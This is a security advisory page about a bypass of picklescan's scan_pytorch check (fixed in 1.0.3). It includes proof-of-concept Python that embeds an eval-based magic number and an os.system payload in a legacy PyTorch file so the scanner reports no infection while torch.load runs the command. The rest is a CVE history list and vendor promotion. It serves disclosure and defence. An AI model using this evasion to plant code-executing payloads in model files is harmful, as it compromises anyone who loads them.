High

Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER

  • Disclosed: 18.02.2026
  • Updated: 11.10.2026 14:18

Summary

This is a scanning bypass to scan_pytorch function in picklescan. As we can see in the implementation of get_magic_number() that uses pickletools.genops(data) to get the magic_number with the condition opcode.name includes INT or LONG, but the PyTorch's implemtation simply uses pickle_module.load() to get this magic_number. For this implementation difference, we then can embed the magic_code into the PyTorch file via dynamic eval on the \_\_reduce\_\_ trick, which can make the pickletools.genops(data) cannot get the magic_code in INT or LONG type, but the pickle_module.load() can still return the same magic_code, eading to a bypass.

PoC

Attack Step 1

we can edit the source code of the function _legacy_save() as follows:

python
    class payload:
        def __reduce__(self):
            return (eval, ('MAGIC_NUMBER',))

    pickle_module.dump(payload(), f, protocol=pickle_protocol)

Attack Step 2

with the modified version of PyTorch, we run the following PoC to generate the payload.pt:

python
import torch 

class payload:
    def __reduce__(self):
        return (__import__('os').system, ('touch /tmp/hacked',))

torch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False)

Picklescan result

ERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356
----------- SCAN SUMMARY -----------
Scanned files: 0
Infected files: 0
Dangerous globals: 0

Victim Step

python
import torch
torch.load('./payload.pt', weights_only=False)

then you can find the illegal file /tmp/hacked created in your local system.

Impact

Craft malicious PyTorch payloads to bypass picklescan, then recall ACE/RCE.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) picklescan < 1.0.3 1.0.3

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-184
Platform
Python (PyPI)
Package
picklescan
Disclosed
18.02.2026
Updated
11.10.2026 14:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2873 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-97f8-7cmv-76j2 - CC BY 4.0

Vulnerability history: picklescan

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (58) in the archive
Total entries
58
First → latest
02.2025 03.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 7
  • High 25
  • Medium 26

Disclosures per year

  1. 2025: 51
  2. 2026: 7
Severity:
  1. Critical · 10.0 CVE-2026-3490 < 1.0.4 1.0.4
  2. Critical · 9.8 CVE-2026-53873 < 1.0.4 1.0.4
  3. Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER this entry
    High CVE-2026-53875 < 1.0.3 1.0.3
  4. High · 7.5 CVE-2026-53872 < 0.0.35 0.0.35
  5. High · 8.8 CVE-2025-71322 < 0.0.33 0.0.33
  6. High ghsa-vqmv-47xg-9wpr < 0.0.33 0.0.33
  7. High CVE-2025-71320 < 0.0.33 0.0.33
  8. High · 9.8 CVE-2025-71323 < 0.0.33 0.0.33
  9. High CVE-2025-71321 < 0.0.33 0.0.33
  10. Critical · 7.8 CVE-2025-10155 < 0.0.31 0.0.31
Show more (12) Showing 20 of 32

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.